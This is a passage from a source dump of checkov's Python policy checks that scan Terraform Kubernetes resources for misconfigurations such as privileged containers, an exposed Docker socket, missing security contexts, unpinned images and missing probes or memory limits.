CPURequests() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/ContainerSecurityContext.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ContainerSecurityContext(BaseResourceCheck): def __init__(self): # CIS-1.5 5.7.3 name = "Apply security context to your pods and containers" # Security context can be set at pod or container level. # Location: container .securityContext id = "CKV_K8S_30" supported_resources = ['kubernetes_pod', 'kubernetes_pod_v1', 'kubernetes_deployment', 'kubernetes_deployment_v1'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: spec = conf.get('spec', [None])[0] evaluated_keys_path = "spec" if not spec: return CheckResult.UNKNOWN template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' if isinstance(spec, dict) and spec.get("container"): containers = spec.get("container") for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if not container.get("security_context"): self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/security_context'] return CheckResult.FAILED return CheckResult.PASSED check = ContainerSecurityContext() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/DangerousGitSync.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class DangerousGitSync(BaseResourceCheck): def __init__(self): name = "Do not admit privileged containers" id = "CKV_K8S_159" supported_resources = ['kubernetes_pod', "kubernetes_pod_v1", 'kubernetes_deployment', 'kubernetes_deployment_v1'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: spec = conf.get('spec', [None])[0] if not spec: return CheckResult.UNKNOWN evaluated_keys_path = "spec" template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' if spec.get("container"): containers = spec.get("container") for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("env"): for env in container.get("env"): if env.get("name") == ["GITSYNC_GIT"]: self.evaluated_keys = [ f'{evaluated_keys_path}/[0]/container/[{idx}]/env'] return CheckResult.FAILED return CheckResult.PASSED check = DangerousGitSync() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class DefaultNamespace(BaseResourceCheck): def __init__(self): # CIS-1.5 5.7.4 name = "The default namespace should not be used" id = "CKV_K8S_21" supported_resources = ["kubernetes_pod", "kubernetes_pod_v1", "kubernetes_deployment", "kubernetes_deployment_v1", "kubernetes_daemonset", "kubernetes_daemon_set_v1", "kubernetes_stateful_set", "kubernetes_stateful_set_v1", "kubernetes_replication_controller", "kubernetes_replication_controller_v1", "kubernetes_job", "kubernetes_job_v1", "kubernetes_cron_job", "kubernetes_cron_job_v1", "kubernetes_service", "kubernetes_service_v1", "kubernetes_secret", "kubernetes_secret_v1", "kubernetes_service_account", "kubernetes_service_account_v1", "kubernetes_role_binding", "kubernetes_role_binding_v1", "kubernetes_config_map", "kubernetes_config_map_v1", "kubernetes_ingress", "kubernetes_ingress_v1"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if "metadata" not in conf: self.evaluated_keys = [""] return CheckResult.FAILED metadata = conf.get('metadata')[0] if metadata.get('namespace'): if metadata.get('namespace') == ["default"]: self.evaluated_keys = ['metadata/[0]/namespace'] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = DefaultNamespace() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/DefaultServiceAccount.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class DefaultServiceAccount(BaseResourceCheck): def __init__(self) -> None: # CIS-1.5 5.1.5 name = "Ensure that default service accounts are not actively used" # Check automountServiceAccountToken in default service account in runtime id = "CKV_K8S_41" supported_resources = ["kubernetes_service_account", "kubernetes_service_account_v1"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if "metadata" in conf: if "name" in conf["metadata"][0]: metadata = conf["metadata"][0] if metadata["name"] == ["default"]: if "automount_service_account_token" in conf: if conf["automount_service_account_token"] == [False]: return CheckResult.PASSED self.evaluated_keys = ["metadata/[0]/name"] return CheckResult.FAILED else: return CheckResult.PASSED return CheckResult.PASSED check = DefaultServiceAccount() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/DefaultServiceAccountBinding.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class DefaultServiceAccountBinding(BaseResourceCheck): def __init__(self): # CIS-1.5 5.1.5 name = "Ensure that default service accounts are not actively used" # Check no role/clusterrole is bound to a default service account (to ensure not actively used) id = "CKV_K8S_42" supported_resources = ["kubernetes_role_binding", "kubernetes_role_binding_v1", "kubernetes_cluster_role_binding", "kubernetes_cluster_role_binding_v1"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if "subject" in conf: for idx, subject in enumerate(conf["subject"]): if subject["kind"] == ["ServiceAccount"]: if subject["name"] == ["default"]: self.evaluated_keys = [f"subject/[{idx}]/name"] return CheckResult.FAILED return CheckResult.PASSED check = DefaultServiceAccountBinding() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class DockerSocketVolume(BaseResourceCheck): def __init__(self) -> None: # Exposing the socket gives container information and increases risk of exploit # read-only is not a solution but only makes it harder to exploit. # Location: Pod.spec.volumes[].hostPath.path # Location: CronJob.spec.jobTemplate.spec.template.spec.volumes[].hostPath.path # Location: *.spec.template.spec.volumes[].hostPath.path id = "CKV_K8S_27" name = "Do not expose the docker daemon socket to containers" supported_resources = ("kubernetes_pod", "kubernetes_pod_v1", "kubernetes_deployment", "kubernetes_deployment_v1", "kubernetes_daemonset", "kubernetes_daemon_set_v1") categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]): if "spec" not in conf: self.evaluated_keys = [""] return CheckResult.FAILED spec = conf['spec'][0] if not spec: return CheckResult.UNKNOWN if "volume" in spec and spec.get("volume"): volumes = spec.get("volume") for idx, v in enumerate(volumes): if isinstance(v, dict) and v.get("host_path"): if "path" in v["host_path"][0]: if v["host_path"][0]["path"] == ["/var/run/docker.sock"]: self.evaluated_keys = [f"spec/volume/{idx}/host_path/[0]/path"] return CheckResult.FAILED if "template" in spec and spec.get("template"): template = spec.get("template")[0] if "spec" in template: temp_spec = template.get("spec")[0] if "volume" in temp_spec and temp_spec.get("volume"): volumes = temp_spec.get("volume") for idx, v in enumerate(volumes): if isinstance(v, dict) and v.get("host_path"): if "path" in v["host_path"][0]: if v["host_path"][0]["path"] == ["/var/run/docker.sock"]: self.evaluated_keys = [f"spec/template/spec/volume/{idx}/host_path/[0]/path"] return CheckResult.FAILED return CheckResult.PASSED check = DockerSocketVolume() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/DropCapabilities.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class DropCapabilities(BaseResourceCheck): def __init__(self): # CIS-1.3 1.7.7 # CIS-1.5 5.2.7 # NET_RAW allows a process to spy on packets on its network name = "Minimize the admission of containers with the NET_RAW capability" id = "CKV_K8S_28" supported_resources = ('kubernetes_pod', 'kubernetes_pod_v1', 'kubernetes_deployment', 'kubernetes_deployment_v1', ) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if "spec" not in conf: self.evaluated_keys = [""] return CheckResult.FAILED spec = conf['spec'][0] if not spec: return CheckResult.UNKNOWN evaluated_keys_path = "spec" template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' if spec.get("container"): containers = spec.get("container") for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN dropped = False if container.get("security_context") and isinstance(container.get("security_context"), list): context = container.get("security_context")[0] if context.get("capabilities") and isinstance(context.get("capabilities"), list): capabilities = context.get("capabilities")[0] if isinstance(capabilities, dict) and capabilities.get("drop") and isinstance(capabilities.get("drop"), list): drops = capabilities.get("drop")[0] for drop in drops: if drop in ["ALL", "NET_RAW"]: dropped = True if not dropped: return CheckResult.FAILED else: self.evaluated_keys = [f"{evaluated_keys_path}/[0]/container/{idx}/security_context/[0]/capabilities"] return CheckResult.FAILED else: self.evaluated_keys = [f"{evaluated_keys_path}/[0]/container/{idx}/security_context"] return CheckResult.FAILED else: self.evaluated_keys = [f"{evaluated_keys_path}/[0]/container/{idx}"] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = DropCapabilities() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/DropCapabilitiesPSP.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class DropCapabilitiesPSP(BaseResourceCheck): def __init__(self) -> None: # CIS-1.3 1.7.7 # CIS-1.5 5.2.7 name = "Do not admit containers with the NET_RAW capability" # Location: PodSecurityPolicy.spec.requiredDropCapabilities id = "CKV_K8S_7" supported_resources = ['kubernetes_pod_security_policy'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if conf.get('spec'): self.evaluated_keys = ['spec'] spec = conf.get('spec')[0] if not spec: return CheckResult.UNKNOWN if spec.get("required_drop_capabilities"): self.evaluated_keys = ['spec/[0]/required_drop_capabilities'] drop_cap = spec.get("required_drop_capabilities")[0] if drop_cap and isinstance(drop_cap, list): if any(cap in drop_cap for cap in ("ALL", "NET_RAW")): return CheckResult.PASSED return CheckResult.FAILED check = DropCapabilitiesPSP() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/HostPort.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class HostPort(BaseResourceCheck): def __init__(self): """ https://kubernetes.io/docs/concepts/configuration/overview/ Don't specify a hostPort for a Pod unless it is absolutely necessary. When you bind a Pod to a hostPort, it limits the number of places the Pod can be scheduled, because each combination must be unique. """ name = "Do not specify hostPort unless absolutely necessary" id = "CKV_K8S_26" supported_resources = ["kubernetes_pod", "kubernetes_pod_v1", "kubernetes_deployment", "kubernetes_deployment_v1"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if "spec" not in conf: self.evaluated_keys = [""] return CheckResult.FAILED spec = conf.get('spec')[0] evaluated_keys_path = "spec" if spec: template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' containers = spec.get("container") if containers is None: return CheckResult.UNKNOWN for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("port"): for idy, port in enumerate(container["port"]): if "host_port" in port: self.evaluated_keys = [f"{evaluated_keys_path}/[0]/container/[{idx}]/port/[{idy}]/host_port"] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = HostPort() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/ImageDigest.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ImageDigest(BaseResourceCheck): def __init__(self): """ The image specification should use a digest instead of a tag to make sure the container always uses the same version of the image. https://kubernetes.io/docs/concepts/configuration/overview/#container-images An admission controller could be used to enforce the use of image digest """ name = "Image should use digest" id = "CKV_K8S_43" supported_resources = ["kubernetes_pod", "kubernetes_pod_v1", "kubernetes_deployment", "kubernetes_deployment_v1"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: spec = conf.get('spec', [None])[0] if spec: evaluated_keys_path = "spec" template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' containers = spec.get("container") if containers is None: return CheckResult.UNKNOWN for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("image") and isinstance(container.get("image"), list): name = container.get("image")[0] if "@" not in name: self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/image'] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = ImageDigest() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/ImagePullPolicyAlways.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ImagePullPolicyAlways(BaseResourceCheck): def __init__(self): """ Image pull policy should be set to always to ensure you get the correct image and imagePullSecrets are correct Default is 'IfNotPresent' unless image tag/digest is omitted or :latest https://kubernetes.io/docs/concepts/configuration/overview/#container-images An admission controller could be used to enforce imagePullPolicy """ name = "Image Pull Policy should be Always" id = "CKV_K8S_15" supported_resources = ["kubernetes_pod", "kubernetes_pod_v1", "kubernetes_deployment", "kubernetes_deployment_v1"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: spec = conf.get('spec', [None])[0] if isinstance(spec, dict) and spec: evaluated_keys_path = "spec" template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' containers = spec.get("container") if containers is None: return CheckResult.UNKNOWN for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("image_pull_policy"): if container.get("image_pull_policy")[0] == "Always": break else: if container.get("image"): name = container.get("image")[0] if "latest" in name: break if "@" in name: break self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]'] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = ImagePullPolicyAlways() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/ImageTagFixed.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ImageTagFixed(BaseResourceCheck): def __init__(self): """ You should avoid using the :latest tag when deploying containers in production as it is harder to track which version of the image is running and more difficult to roll back properly. """ name = "Image Tag should be fixed - not latest or blank" id = "CKV_K8S_14" supported_resources = ["kubernetes_pod", "kubernetes_pod_v1", "kubernetes_deployment", "kubernetes_deployment_v1"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: spec = conf.get('spec', [None])[0] if isinstance(spec, dict) and spec: evaluated_keys_path = "spec" template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' if spec.get("container"): containers = spec.get("container") for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("image"): name = container.get("image")[0] if ":" in name: if name.split(":")[1] in ("latest", ""): self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/image'] return CheckResult.FAILED continue if "@" in name: continue self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/image'] return CheckResult.FAILED self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]'] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = ImageTagFixed() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/LivenessProbe.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class LivenessProbe(BaseResourceValueCheck): def __init__(self): name = "Liveness Probe Should be Configured" id = "CKV_K8S_8" supported_resources = ["kubernetes_pod", "kubernetes_pod_v1", "kubernetes_deployment", "kubernetes_deployment_v1"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self) -> str: return "spec/[0]/container/[0]/liveness_probe/[0]" def scan_resource_conf(self, conf) -> CheckResult: spec = conf.get('spec', [None])[0] if isinstance(spec, dict) and spec: evaluated_keys_path = "spec" template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' containers = spec.get("container") if containers is None: return CheckResult.UNKNOWN for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("liveness_probe"): return CheckResult.PASSED self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]'] return CheckResult.FAILED return CheckResult.FAILED def get_expected_value(self) -> Any: return ANY_VALUE check = LivenessProbe() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/MemoryLimits.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class MemoryLimits(BaseResourceCheck): def __init__(self): name = "Memory Limits should be set" id = "CKV_K8S_12" supported_resources = ["kubernetes_pod", "kubernetes_pod_v1", "kubernetes_deployment", "kubernetes_deployment_v1"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if "spec" not in conf: self.evaluated_keys = [""] return CheckResult.FAILED spec = conf['spec'][0] if not spec: return CheckResult.UNKNOWN evaluated_keys_path = "spec" template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' containers = spec.get("container") if containers is None: return CheckResult.UNKNOWN for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("resources"): resources = container.get("resources")[0] if resources.get('limits'): limits = resources.get('limits')[0] if isinstance(limits, dict) and limits.get('memory'): return CheckResult.PASSED self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/resources/[0]/limits'] return CheckResult.FAILED self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/resources'] return CheckResult.FAILED self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]'] return CheckResult.FAILED return CheckResult.PASSED check = MemoryLimits() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/MemoryRequests.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class MemoryRequests(BaseResourceCheck): def __init__(self): name = "Memory requests should be set" id = "CKV_K8S_13" supported_resources = ["kubernetes_pod", "kubernetes_pod_v1", "kubernetes_deployment", "kubernetes_deployment_v1"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if "spec" not in conf: self.evaluated_keys = [""] return CheckResult.FAILED spec = conf['spec'][0] evaluated_keys_path = "spec" if not spec: return CheckResult.UNKNOWN template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' containers = spec.get("container") if containers is None: return CheckResult.UNKNOWN for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("resources"): resources = container.get("resources")[0] if resources.get('requests'): requests = resources.get('requests')[0] if isinstance(requests, dict) and requests.get('memory'): # nosec # false positive return CheckResult.PASSED self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/resources/[0]/requests'] return CheckResult.FAILED self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/resources'] return CheckResult.FAILED self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]'] return CheckResult.FAILED return CheckResult.PASSED check = MemoryRequests() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/MinimiseCapabilities.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class MinimiseCapabilities(BaseResourceCheck): def __init__(self): # CIS-1.5 5.2.9 name = "Minimise the admission of containers with capabilities assigned" id = "CKV_K8S_37" supported_resources = ['kubernetes_pod', "kubernetes_pod_v1", 'kubernetes_deployment', 'kubernetes_deployment_v1'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: spec = conf.get('spec', [None])[0] evaluated_keys_path = "spec" if not spec: return CheckResult.UNKNOWN template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' if isinstance(spec, dict) and spec.get("container"): containers = spec.get("container") for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("security_context"): context = container.get("security_context")[0] if context.get("capabilities"): capabilities = context.get("capabilities")[0] if isinstance(capabilities, dict) and capabilities.get("drop") and isinstance(capabilities.get("drop"), list): drop = capabilities.get("drop")[0] if not any(item in ("ALL", "all") for item in drop): self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/' f'security_context/[0]/capabilities/drop'] return CheckResult.FAILED else: self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/' f'security_context/[0]/capabilities'] return CheckResult.FAILED return CheckResult.PASSED check = MinimiseCapabilities() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/MinimiseCapabilitiesPSP.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class MinimiseCapabilitiesPSP(BaseResourceCheck): def __init__(self): # CIS-1.3 1.7.7 # CIS-1.5 5.2.9 name = "Minimise the admission of containers with capabilities assigned" # Location: PodSecurityPolicy.spec.requiredDropCapabilities id = "CKV_K8S_36" supported_resources = ['kubernetes_pod_security_policy'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: self.evaluated_keys = [""] if conf.get('spec'): spec = conf.get('spec')[0] if not spec: return CheckResult.UNKNOWN self.evaluated_keys = ["spec"] if spec.get("required_drop_capabilities"): return CheckResult.PASSED return CheckResult.FAILED check = MinimiseCapabilitiesPSP() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class PodSecurityContext(BaseResourceCheck): def __init__(self): # CIS-1.5 5.7.3 name = "Apply security context to your pods, deployments and daemon_sets" # Security context can be set at pod or container level. id = "CKV_K8S_29" supported_resources = ('kubernetes_pod', 'kubernetes_pod_v1', 'kubernetes_deployment', 'kubernetes_deployment_v1', 'kubernetes_daemonset', 'kubernetes_daemon_set_v1') categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if "spec" not in conf: self.evaluated_keys = [""] return CheckResult.FAILED spec = conf['spec'][0] if not spec: return CheckResult.UNKNOWN if spec.get("container"): containers = spec.get("container") for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if not container.get("security_context"): self.evaluated_keys = [f"spec/[0]/container/{idx}"] return CheckResult.FAILED return CheckResult.PASSED if spec.get("template") and isinstance(spec.get("template"), list): template = spec.get("template")[0] if template.get("spec") and isinstance(template.get("spec"), list): temp_spec = template.get("spec")[0] if temp_spec.get("container"): containers = temp_spec.get("container") for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if not container.get("security_context"): self.evaluated_keys = [f"spec/[0]/template/[0]/spec/[0]/container/{idx}"] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = PodSecurityContext() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/PrivilegedContainer.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class PrivilegedContainers(BaseResourceCheck): def __init__(self): # CIS-1.3 1.7.1 # CIS-1.5 5.2.1 name = "Do not admit privileged containers" id = "CKV_K8S_16" supported_resources = ['kubernetes_pod', "kubernetes_pod_v1", 'kubernetes_deployment', 'kubernetes_deployment_v1'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: spec = conf.get('spec', [None])[0] if not spec: return CheckResult.UNKNOWN evaluated_keys_path = "spec" template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' if spec.get("container"): containers = spec.get("container") for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("security_context"): context = container.get("security_context")[0] if context.get("privileged") == [True]: self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/security_context/[0]/privileged'] return CheckResult.FAILED return CheckResult.PASSED check = PrivilegedContainers() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/PrivilegedContainerPSP.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class PrivilegedContainersPSP(BaseResourceCheck): def __init__(self): # CIS-1.3 1.7.1 # CIS-1.5 5.2.1 name = "Do not admit privileged containers" id = "CKV_K8S_2" supported_resources = ("kubernetes_pod_security_policy",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: spec = conf.get('spec', [None])[0] if not spec: return CheckResult.UNKNOWN # for psp if isinstance(spec, dict) and spec.get("privileged") == [True]: self.evaluated_keys = ["spec/[0]/privileged"] return CheckResult.FAILED return CheckResult.PASSED check = PrivilegedContainersPSP() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/ReadinessProbe.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ReadinessProbe(BaseResourceValueCheck): def __init__(self): name = "Readiness Probe Should be Configured" id = "CKV_K8S_9" supported_resources = ["kubernetes_pod", "kubernetes_pod_v1", "kubernetes_deployment", "kubernetes_deployment_v1"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self) -> str: if "kubernetes_deployment" == self.entity_type or "kubernetes_deployment_v1" == self.entity_type: return "spec/[0]/template/[0]/spec/[0]/container/[0]/readiness_probe/[0]" return "spec/[0]/container/[0]/readiness_probe/[0]" def scan_resource_conf(self, conf) -> CheckResult: spec = conf.get('spec', [None])[0] if not spec: return CheckResult.UNKNOWN evaluated_keys_path = "spec" template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' if isinstance(spec, dict) and spec: containers = spec.get("container") if containers is None: return CheckResult.UNKNOWN for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("readiness_probe"): return CheckResult.PASSED self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]'] return CheckResult.FAILED return CheckResult.FAILED def get_expected_value(self) -> Any: return ANY_VALUE check = ReadinessProbe() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/ReadonlyRootFilesystem.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ReadonlyRootFilesystem(BaseResourceCheck): def __init__(self): name = "Use read-only filesystem for containers where possible" id = "CKV_K8S_22" supported_resources = ['kubernetes_pod', 